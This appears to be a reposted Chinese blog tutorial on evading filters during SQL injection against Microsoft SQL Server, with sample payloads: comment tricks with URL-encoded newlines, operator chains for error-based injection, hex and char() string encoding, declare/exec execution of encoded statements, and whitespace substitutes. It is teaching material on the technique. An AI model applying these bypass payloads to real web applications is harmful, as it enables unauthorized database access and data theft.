SQL Server从0到1——绕过

发布时间:2024年01月06日

垃圾数据

注释:

单行注释:利用单行注释将多行注释注释掉然后利用换行符换行?
多行注释:?/*xxxx*/,xxxx可以是符合数字和字符(这非常关键),但没有mysql中的/*!xx*/这种用法

单行:

select?--/*
'naihe567'
--*/

?

但在web传参时需要进行url编码:

select?--/*%0a'naihe567'%0a--*/

多行:

这里是mssql的

下面是mysql的

运算符:运算符一般是配合报错注入使用

select?*?from?test.dbo.users?where?++++-+-~~1=(select?user)
#原理是使用特殊运算只会改变值并不会改变数据类型,-+^*|&都可以使用

?

编码

编码主要是利用十六进制和ascii码 users表内容如下:

十六进制:

select?*?from?test.dbo.users?where?username=0x44756d6d79
Dummy的十六进制为0x44756d6d79

?

ascii码:

select?*?from?test.dbo.users?where?username?=??char(100)+char(117)+char(109)+char(109)+CHAR(121)
#使用char函数

?

回调

使用declear与exec函数 declear会创建一个局部变量,在使用exec执行变量中的内容

declare?@s?varchar(2000)?set?@s=0x73656c656374206e61696865353637??exec(@s)
#declear与exec其实是属于报错注入范畴,但是它可以将一个完成的sql语句进行编码执行
#0x73656c656374206e61696865353637?解码后就是?select?naihe567

?

declare?@s?varchar(2000)?set??@s=CHAR(115)+CHAR(101)+CHAR(108)+CHAR(101)+CHAR(99)+CHAR(116)+CHAR(32)+...+CHAR(39)?exec(@s)
#ascii也可以

替换

利用其他空白符替换空格:

%20?%09?%0a?%0b?%0c?%0d

利用[],()替换空格:

select(username)from[test].[dbo].[users]

?

文章来源:https://blog.csdn.net/2301_80520893/article/details/135335339
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。